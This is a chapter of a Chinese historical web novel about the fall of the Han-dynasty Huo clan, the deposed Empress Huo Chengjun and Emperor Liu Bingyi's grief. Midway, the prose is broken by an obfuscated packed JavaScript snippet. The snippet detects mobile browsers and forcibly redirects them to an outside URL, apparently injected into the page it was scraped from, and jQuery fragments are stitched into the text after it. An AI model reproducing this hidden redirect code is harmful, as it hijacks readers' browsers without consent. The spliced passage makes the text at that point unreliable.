35.思子
作品:《[历史]花妖医经》 自从张安世继任大将军、其子张延寿迁官光禄勋之后,朝中的形势就渐渐有些微妙了起来。
原本将大司马之位视作囊中私物的霍家当廷发作,早朝时宣政殿上几乎炸了锅,直到天子接连封了霍光的长子霍禹为乐平侯、侄孙霍山为右将军,才勉强安抚。
之后,天子不动声色地开始征召许家、史家的子弟入朝为官,且渐成气候……以至于到了一年之后,立元后许氏之子刘奭为太子时,外朝内宫,竟没掀起多少波澜。
朝堂上,公卿大夫们多数选择了沉默以应。而宫里,皇后性情天真,全然没有一点儿陷入危局的觉悟。
只有霍府中,夫人霍显闻讯之后当场呕血,随即便十万火急地传信召了霍成君归家侍疾。
薄暮时分,一辆髹漆彩绘的轩车驶出了未央宫。霍成君姿态端正地跽坐在车里,一面听着轧轧车轮声,一面紧张地绞着手指——
待会儿见了阿母要怎么交待呢?
以往她每回归家,阿母都会耳提面命地说一回子嗣的事。好像她活在这世上最大的用处,就是赶紧替霍家生个皇子,然后立为太子。尤其,阿父没了以后,阿母就更急燥迫切了许多,对她也是更加疾言厉色。
可,在她看来,太子之位有甚么好?陛下每日辛劳成那样儿,年轻青青鬓边就生了白发,都是给这苦差事累的!日后,若她真有了孩子,做个寻常的诸侯王就好,安乐自在,最好封地离长安远远儿的,荆州或者扬州最好,一路上可以好好看看外面的山川风物……
唉,怎么一紧张就走神儿!
四月末的时令,天气已经渐渐燠热起来,她指缝里不一会儿就沁了层湿黏黏的汗,且汗意越来越重,又绞得越来越紧——
还是同阿母讲道理罢!
阿奭是陛下和许家姊姊的长子,又那么懂事,立为太子原本就顺理成章……不成!阿母根本不会听的罢?那就说是她自己的缘故,因为没有谨遵医嘱,不肯乖乖吃药调理身体,所以怀妊不易……
她像一只天真懵懂的狸儿,认定了那人,便全心全心地信任倚赖。甚至,此时此刻,憨憨傻傻地,试图用仅用的一点儿笨拙手段保护他。
物换星移,光阴如松,展眼又是半年。
地节四年冬天,有一则宫闱秘闻悄然在长安城传开:五年前,许皇后病死原有蹊跷——根本不是病殁,而是刚刚生产,却被女医喂了附子汤。所以生生药死,连同诞下的小皇女也在不久之后夭折了。
而那施了毒手的女医,正是名气颇大的“女中扁鹊”淳于衍,霍夫人的座上宾。
这消息传到霍府时,阖府都炸了锅。而霍夫人骤然变白的脸色,和其后的缄默,则让霍氏众人的忿然很快都变成了恐惧。
毒杀皇后?!
在五年前,霍家如日中天的时候,不过是拔掉一颗出身微贱的眼中钉。
而如今,霍家几个身居要职的女婿都已经陆续离京外任,家主霍禹只有大司马的虚衔,放眼朝堂,霍家甚至寻不出一个手绾兵符的武将……天子仿佛一个高明的猎人,步步为营,将原本强大的猎物一步步迷惑,步步为营,逼入陷阱。
而那陷入绝境的猎物,唯有铤而走险,殊死一搏。
地节五年的秋天,是个多雨的秋天。
许多年后,长安城的老人们说古时回忆起来,都道,幸好那年雨水多,才及时冲净了西市上的血水和腥气。
那年,霍家走到穷途末路,竟失心疯一般,想仿效霍光昔年旧事。密谋借太皇太后之名宴请天子及许广汉、魏相,于席间行废立之事。
不料,泄密事败。
七月里,霍云、霍山自尽,霍显、霍禹及余众被捕,牵连数十家。
月末,霍显等斩首弃市。
曾经金尊玉贵,等闲难得一见的贵人们,如今都被辚辚车马碾成了百姓脚底的烂泥……煊煊赫赫三十余年的霍家,终于树倒屋倾,阖族覆灭。
八月初一,皇后霍氏被废,迁居昭台宫。
……
椒房殿里,沈女官正领着宫人们替霍成君拾掇物什,从钗环衣饰到炉里的熏香、床上的帏幔、匣中的小食点心……一点儿不遗地收拾了,好带去昭台宫那边。
天子有谕,不得怠慢废后。
做事的间隙,她不禁回头,看了一眼安安静静坐在窗下的年轻女子——
她仍坐在窗下小漆几边,朝外看,如同以往五年多的每一天。
只是这回,她应当不是在等天子了。
真实,起初听到霍家谋逆,自家叔叔霍山、自尽,母亲、哥哥被捕的时候,霍成君是不信的,只当宫人们与她玩笑。
直到,当晚,天子没有来椒房殿。次日,依旧没有来……到第六天的时候,她终于有些动摇,打算去宣政殿一趟。但却发现,自己已出不去了。
十几天后,她已憔悴得厉害……仿佛一株经了肃杀严霜的兰草,将将委谢的模样。而昨晚,那只紫貂儿被人溺死在厨室水鉴里的事,更是雪上加霜。
她抱着那它冷僵的尸身,就那么抱了整夜,到如今也不肯撒手。
眼下,她瘦得颊上的婴儿肥彻底没了,下巴都有些尖。
但,奇异地,仿佛终于褪尽稚气,有了大人模样。
“久坐伤身,您起来略走动走动。还有……蒲桃,它无辜遭灾,还是早些入土为安罢。”沈女官忍不住走进来,叹了口气,劝道。
“无辜么?”
霍成君声音有些低哑,手指温柔地抚着它的脊背,一下下梳理着已经粘结的貂毛,语声很轻,像自说自话:“无功无劳,却凭出身,享着富贵安乐……也算不上无辜罢。”
“皇后……”
“那件事,是真的么?”她轻声截断她的安抚,抬眼问。
沈女官一怔,瞬时明白了她问的是甚么事——
原本淳于衍毒杀先皇后的传闻,虽流布坊间,但宫里——尤其椒房殿这边,是瞒得密不透风的。谁晓得一月多前,皇后去太后太后宫里问安时,却从几个小寺人那里听到了风声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038514|178554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
当时,心思天真的年轻皇后只当作杜撰,而今……
“是。”她低声一应。
“呵。”霍成君忽地低低笑了下,又是自说自话似的,“原来,我更不无辜呵。”
她抱着怀中僵冷的貂尸,敛衽起身。
“走罢。”
我带着我的蒲桃来,如今,也要带着它一块儿走。自始至终,其实……我,只有它而已。
……
另一端的宣政殿,天子又是宵衣旰食,半夜里才阅毕了最后一卷章奏,昏黄色的烛火,映着他疲惫得血丝密布的一双眼。
“陛下,今晚何处安歇?”
他略怔,开口,说出了一个小内侍人极其陌生的地名——
“思子宫。”
昔年,孝武皇帝刘彻十六岁践祚,承位十余年,始终无嗣。直到二十九岁这一年的二月,夫人卫子夫诞下了皇长子刘据。
武帝珍之如玉,七岁封其为太子,少年为其广延名师,弱冠为其起博望之苑,寄望甚厚。
谁料多年之后,宵小挑唆,父子生隙,最终酿成“巫盅之祸”。皇后卫子夫一卷草席匆匆葬在了长安城南桐柏亭,太子刘据引剑自刭,死在了长安城外泉鸠里。
那场祸事牵连无数,包括了一名太子宾客,张贺。
而太子的直系血亲里,除了宫中的武帝,唯一活下来的,便是一个几月大的婴嫛。
一年后,高寝郎田千秋上书替太子诉冤,武帝重审旧案。
一一厘清始末,六十七岁的天子,终于怒火攻心。他夷江充三族,生焚苏文于横桥之上,因追捕太子而获功的莽通被处死,曾对太子兵刃相加的人被族灭,诬陷太子的李广利、刘屈氂皆被族灭。
其后,武帝怜惜太子无辜遭难,起了这座思子宫,以托哀思。
今天是初一,正值朔日,天上无星无月。
刘病已立在思子宫的崇台高基之上,看着黑茫茫的夜色,心里是从未有过的空荡——
当年,他的曾祖父,每每站在这里的时候,都在想些什么呢?
他敢不敢仔细回想与卫皇后四十载夫妻?敢不敢回想长子的温厚孝顺?又敢不敢面对郡邸狱里那个尚未断乳就成了孤儿的曾外孙?
大抵,是不敢的罢。
所以,直到临终之际,才将那个不曾谋面的血亲列上宗谱,责掖庭抚养……却始终没有看过他一眼。
那个孩子,因此受尽欺凌。
狱吏们欺他年幼无依,史家舅祖父们欺他身世畸零,长安城的顽童们欺他父母双故,张安世欺他遗罪加身,霍光欺他势单力孤……
如今呵,这世上再没有人敢欺负他了。
可,那些携着他走路的手,都一一松开,那些温暖了他生命的人,再也不会回来。
这世上,终于只剩他一人孑孓而行,孤身只影。
……前面的路还有多长呢?一个人摸着黑走下去,真叫人害怕呵。
他,其实一直是个很胆小、很胆小的人啊。